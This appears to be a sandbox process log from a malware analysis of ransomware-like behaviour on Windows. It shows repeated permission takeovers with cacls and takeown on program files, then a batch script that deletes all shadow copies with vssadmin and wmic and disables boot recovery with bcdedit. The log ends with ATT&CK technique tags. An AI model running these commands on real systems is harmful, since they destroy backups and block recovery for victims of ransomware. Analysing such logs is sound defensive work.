C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ImagingDevices.exe" -nobanner3⤵PID:224
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ImagingDevices.exe" -nobanner4⤵PID:1408
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1132
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets""2⤵PID:2028
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets" /E /G Admin:F /C3⤵PID:1972
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.Targets"3⤵PID:1888
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "Workflow.Targets" -nobanner3⤵PID:1052
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "Workflow.Targets" -nobanner4⤵PID:764
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:204
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Mail\wab.exe""2⤵PID:2044
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wab.exe" /E /G Admin:F /C3⤵PID:732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
- Modifies file permissions
PID:904
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "wab.exe" -nobanner3⤵PID:1716
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "wab.exe" -nobanner4⤵PID:1780
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:948
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵PID:1004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵PID:548
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵PID:1408
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵PID:1132
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:228
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui""2⤵PID:696
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵PID:1928
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\ImagingDevices.exe.mui"3⤵PID:764
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵PID:300
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵PID:204
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2028
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui""2⤵PID:1372
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵PID:1168
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoAcq.dll.mui"3⤵PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵PID:800
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵PID:948
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2044
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:1840
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:232
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵PID:1132
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "directories.acrodata" -nobanner3⤵PID:1364
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "directories.acrodata" -nobanner4⤵PID:1644
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1700
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Mail\WinMail.exe""2⤵PID:2016
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\WinMail.exe" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\WinMail.exe"3⤵PID:204
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "WinMail.exe" -nobanner3⤵PID:336
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "WinMail.exe" -nobanner4⤵PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1888
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui""2⤵PID:1096
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui" /E /G Admin:F /C3⤵PID:616
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\en-US\msoeres.dll.mui"3⤵PID:948
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "msoeres.dll.mui" -nobanner3⤵PID:1120
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "msoeres.dll.mui" -nobanner4⤵PID:760
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:732
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Mail\wabmig.exe""2⤵PID:1308
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\wabmig.exe" /E /G Admin:F /C3⤵PID:1940
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\wabmig.exe"3⤵
- Modifies file permissions
PID:1644
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "wabmig.exe" -nobanner3⤵PID:1788
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "wabmig.exe" -nobanner4⤵PID:1756
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab""2⤵PID:872
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab" /E /G Admin:F /C3⤵PID:696
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab"3⤵PID:2028
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "cab1.cab" -nobanner3⤵PID:1100
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "cab1.cab" -nobanner4⤵PID:1888
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2016
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui""2⤵PID:1540
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui" /E /G Admin:F /C3⤵PID:2020
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Mail\en-US\WinMail.exe.mui"3⤵PID:760
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "WinMail.exe.mui" -nobanner3⤵PID:224
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "WinMail.exe.mui" -nobanner4⤵PID:732
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1096
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png""2⤵PID:1248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png" /E /G Admin:F /C3⤵PID:1644
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png"3⤵
- Modifies file permissions
PID:216
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "device.png" -nobanner3⤵PID:1788
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "device.png" -nobanner4⤵PID:1896
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1308
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat""2⤵PID:428
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat" /E /G Admin:F /C3⤵PID:2028
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr1.dat"3⤵
- Modifies file permissions
PID:844
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "qmgr1.dat" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "qmgr1.dat" -nobanner4⤵PID:792
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:872
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵PID:240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵PID:624
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "watermark.png" -nobanner3⤵PID:1884
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "watermark.png" -nobanner4⤵PID:1176
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:948
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""2⤵PID:1364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png" /E /G Admin:F /C3⤵PID:1756
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png"3⤵
- Modifies file permissions
PID:1056
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "background.png" -nobanner3⤵PID:1928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "background.png" -nobanner4⤵PID:1788
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1308
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat""2⤵PID:1940
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat" /E /G Admin:F /C3⤵PID:1888
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Network\Downloader\qmgr0.dat"3⤵PID:2016
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "qmgr0.dat" -nobanner3⤵PID:1168
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "qmgr0.dat" -nobanner4⤵PID:928
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:872
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png""2⤵PID:696
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png" /E /G Admin:F /C3⤵PID:732
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png"3⤵
- Modifies file permissions
PID:1452
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "overlay.png" -nobanner3⤵PID:680
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "overlay.png" -nobanner4⤵PID:1884
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1184
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""2⤵PID:240
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png" /E /G Admin:F /C3⤵PID:212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png"3⤵PID:1548
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "background.png" -nobanner3⤵PID:1040
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "background.png" -nobanner4⤵PID:1928
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1308
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:1364
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵
- Modifies file permissions
PID:800
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "directories.acrodata" -nobanner3⤵PID:928
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "directories.acrodata" -nobanner4⤵PID:1444
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1972
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\JEFKEfVx.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵PID:1716
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵PID:1212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
- Modifies file permissions
PID:1540
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c gAw1Zqdb.exe -accepteula "superbar.png" -nobanner3⤵PID:1176
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula "superbar.png" -nobanner4⤵PID:904
-
-
-
C:\Users\Admin\AppData\Local\Temp\gAw1Zqdb.exegAw1Zqdb.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:624
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {58E6FBCB-4080-42A4-95A4-41072DEFA30B} S-1-5-21-2090973689-680783404-4292415065-1000:UCQFZDUI\Admin:Interactive:[1]1⤵PID:328
-
C:\Windows\SYSTEM32\cmd.exeC:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\JIlHD6vj.bat"2⤵PID:1960
-
C:\Windows\system32\vssadmin.exevssadmin Delete Shadows /All /Quiet3⤵
- Interacts with shadow copies
PID:2016
-
-
C:\Windows\System32\Wbem\WMIC.exewmic SHADOWCOPY DELETE3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1096
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:624
-
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
- Modifies boot configuration data using bcdedit
PID:1100
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN DSHCA /F3⤵PID:228
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:968
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
File Deletion
2File and Directory Permissions Modification
1Modify Registry
3